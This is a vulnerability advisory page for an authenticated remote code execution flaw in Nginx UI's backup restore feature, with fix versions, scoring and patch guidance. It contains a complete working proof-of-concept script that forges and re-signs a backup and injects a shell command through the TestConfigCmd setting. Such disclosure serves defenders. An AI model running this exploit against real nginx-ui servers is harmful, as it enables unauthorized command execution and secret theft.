Skip to content

GHSA-p393-cf76-4jmr CVE-2026-107806 GO-2026-6741

Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite

High Go
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.57%
Chance of exploitation in the next 30 days. Higher than 47.28% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-94 Improper Control of Generation of Code ('Code Injection')
Fix
1.9.10-0.20260728074146-a467ed652591
Upgrade github.com/0xJacky/Nginx-UI to this version or later

Description

Summary

An authenticated nginx-ui user can call POST /api/restore, upload a forged encrypted backup, restore app.ini, set nginx command settings such as TestConfigCmd, and then trigger command execution with POST /api/nginx/test.

This was validated on nginx-ui 2.3.11 2(523) 6c86e5a5 in the local Docker container uozi/nginx-ui:latest.

Impact

An authenticated user can overwrite nginx-ui application configuration and database state through restore, including protected settings that are normally not writable through the settings API. By setting nginx command fields in the restored app.ini, the attacker can execute commands in the nginx-ui runtime context. This affects confidentiality, integrity, and availability because the attacker can read or replace secrets, change node/JWT secrets, corrupt application state, and execute arbitrary commands.

Affected Version / Environment

  • Version: nginx-ui 2.3.11 2(523) 6c86e5a5
  • Deployment: local Docker, uozi/nginx-ui:latest
  • Base URL used in validation: http://127.0.0.1:8080

Root Cause

/api/restore is reachable through normal authenticated-user authorization. The restore handler accepts attacker-supplied backup key material, validates the manifest with a key derived from that supplied AES key, decrypts attacker-controlled backup contents, and copies restored app.ini into the live nginx-ui config path.

Relevant code paths:

  • api/backup/router.go: POST /api/restore
  • api/backup/restore.go: accepts security_token and uploaded backup file
  • internal/backup/manifest.go: derives backup signing key from supplied AES key
  • internal/backup/restore.go: restoreNginxUIConfig overwrites live app.ini
  • internal/nginx/exec.go: nginx command settings execute through shell-backed command paths

Proof of Concept

Assumptions:

  • nginx-ui is already running.
  • $TOKEN is a valid user JWT.
  • $CONTAINER is the local disposable Docker container name for cleanup and evidence checks.
export BASE='http://127.0.0.1:8080'
export TOKEN='<valid nginx-ui JWT>'
export CONTAINER='nginx-ui'

Run only against a disposable local instance.

set -eu

TMP=$(mktemp -d)
trap 'rm -rf "$TMP"' EXIT

docker cp "$CONTAINER":/etc/nginx-ui/app.ini "$TMP/app.ini.original"

curl -sS -D "$TMP/backup.headers" -o "$TMP/backup.zip" \
  -H "Authorization: $TOKEN" \
  "$BASE/api/backup"

SEC=$(awk 'BEGIN{IGNORECASE=1} /^X-Backup-Security:/{gsub("\r",""); print $2}' "$TMP/backup.headers")
KEY_B64=${SEC%%:*}
IV_B64=${SEC#*:}
KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 256)
IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 256)

mkdir -p "$TMP/outer" "$TMP/inner"
unzip -q "$TMP/backup.zip" -d "$TMP/outer"
openssl enc -d -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \
  -in "$TMP/outer/nginx-ui.zip" \
  -out "$TMP/nginx-ui.clear.zip"
unzip -q "$TMP/nginx-ui.clear.zip" -d "$TMP/inner"

python3 - "$TMP/inner/app.ini" <<'PY'
from pathlib import Path
import sys

p = Path(sys.argv[1])
cmd = "TestConfigCmd = printf restored-rce >/tmp/nginx-ui-restore-rce"
lines = p.read_text().splitlines()
out = []
in_nginx = False
seen_nginx = False
written = False

for line in lines:
    s = line.strip()
    if s.startswith("[") and s.endswith("]"):
        if in_nginx and not written:
            out.append(cmd)
            written = True
        in_nginx = s.lower() == "[nginx]"
        seen_nginx = seen_nginx or in_nginx
    if in_nginx and s.startswith("TestConfigCmd"):
        if not written:
            out.append(cmd)
            written = True
        continue
    out.append(line)

if in_nginx and not written:
    out.append(cmd)
elif not seen_nginx:
    out.extend(["", "[nginx]", cmd])

p.write_text("\n".join(out) + "\n")
PY

(cd "$TMP/inner" && zip -qr "$TMP/nginx-ui.modified.clear.zip" .)
openssl enc -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \
  -in "$TMP/nginx-ui.modified.clear.zip" \
  -out "$TMP/outer/nginx-ui.zip"

OUTER="$TMP/outer" KEY_B64="$KEY_B64" python3 <<'PY'
from pathlib import Path
import base64
import hashlib
import hmac
import json
import os

outer = Path(os.environ["OUTER"])
key = base64.b64decode(os.environ["KEY_B64"])
manifest = json.loads((outer / "manifest.json").read_text())

for entry in manifest["files"]:
    data = (outer / entry["name"]).read_bytes()
    entry["sha256"] = hashlib.sha256(data).hexdigest()
    entry["size"] = len(data)

manifest["files"] = sorted(manifest["files"], key=lambda e: e["name"])
manifest_bytes = json.dumps(manifest, separators=(",", ":")).encode()
(outer / "manifest.json").write_bytes(manifest_bytes)

signing_key = hashlib.sha256(b"nginx-ui-backup-signing-v1:" + key).digest()
(outer / "manifest.sig").write_text(hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest())
PY

(cd "$TMP/outer" && zip -qr "$TMP/malicious-restore.zip" manifest.sig nginx-ui.zip nginx.zip manifest.json)

curl -sS -X POST "$BASE/api/restore" \
  -H "Authorization: $TOKEN" \
  -F "restore_nginx=false" \
  -F "restore_nginx_ui=true" \
  -F "verify_hash=true" \
  -F "security_token=$SEC" \
  -F "backup_file=@$TMP/malicious-restore.zip"

sleep 10
for i in $(seq 1 80); do
  curl -sS -o /dev/null -H "Authorization: $TOKEN" "$BASE/api/settings" && break
  sleep 0.5
done

curl -sS -X POST "$BASE/api/nginx/test" \
  -H "Authorization: $TOKEN"

docker exec "$CONTAINER" sh -lc 'cat /tmp/nginx-ui-restore-rce'

# Cleanup and return the disposable instance to its original config.
docker cp "$TMP/app.ini.original" "$CONTAINER":/etc/nginx-ui/app.ini
docker exec "$CONTAINER" sh -lc 'rm -f /tmp/nginx-ui-restore-rce'
docker restart "$CONTAINER"

Expected output:

{"nginx_ui_restored":true,"nginx_restored":false,"hash_match":true}
{"message":"","level":-1,"test_scope":"global"}
restored-rce

Cleanup

The PoC performs cleanup at the end. If interrupted, restore the original app.ini from a known-good backup, remove /tmp/nginx-ui-restore-rce, and restart nginx-ui before continuing other tests.

Patch Guidance

Require an elevated/admin secure session for restore, do not allow ordinary authenticated users to restore nginx-ui app state, bind backup manifest signatures to a server-side secret or administrator-held passphrase, and block protected app settings from being restored unless explicitly approved through a hardened migration path.

Affected versions

Go

PackageVulnerableFixed in
github.com/0xJacky/Nginx-UI
>= 1.9.10-0.20260421071512-7864e378f5cf, < 1.9.10-0.20260728074146-a467ed652591
1.9.10-0.20260728074146-a467ed652591

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/0xJacky/Nginx-UI Go → 1.9.10-0.20260728074146-a467ed652591

go
go get github.com/0xJacky/Nginx-UI@v1.9.10-0.20260728074146-a467ed652591 && go mod tidy

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Attack vector
Network
Attack complexity
Low
Attack requirements
Present
Privileges required
None
User interaction
Passive
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
High
Availability (subsequent systems)
High

CVSS 3.1 7.2

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it
  • Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
  • Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
  • Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GO-2026-6773
Nginx UI: Casdoor SSO callback uses a constant `state` parameter (login CSRF)
High Also affects github.com/0xJacky/Nginx-UI
GHSA-vc32-4gwf-77xp
Nginx UI: OTP secure-session step-up can be bypassed via MCP configuration tools
High Also affects github.com/0xJacky/Nginx-UI
GHSA-wq4w-vwvq-q3x9
Nginx UI: Standalone short tokens survive administrative revocation in cache and authenticate again after account re-enable
Medium Also affects github.com/0xJacky/Nginx-UI
GHSA-jrq7-xrjx-pcfw
Nginx UI: Auto backup name allows path traversal outside validated storage path
Medium Also affects github.com/0xJacky/Nginx-UI
GHSA-5r62-gj48-897x
Nginx UI: MCP configuration tools bypass restricted directive validation and allow secondary authenticated users to execute NJS in Nginx worker context
High Also affects github.com/0xJacky/Nginx-UI
GHSA-9jww-cxg5-rj9m
Nginx UI: MCP `nginx_config_add` Bypasses Directive Validation — Authenticated RCE
High Also affects github.com/0xJacky/Nginx-UI
GHSA-76pm-mq2q-9gcr
Nginx UI: MCP nginx_config_add skips config directive validation → authenticated nginx directive injection (RCE on the official image)
High Also affects github.com/0xJacky/Nginx-UI
GHSA-cf23-7qxj-xmhr
Nginx UI: nginx config directive denylist (ValidateConfigFile) is bypassable via same-line ";" separation → authenticated directive injection (RCE on the official image)
High Also affects github.com/0xJacky/Nginx-UI
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor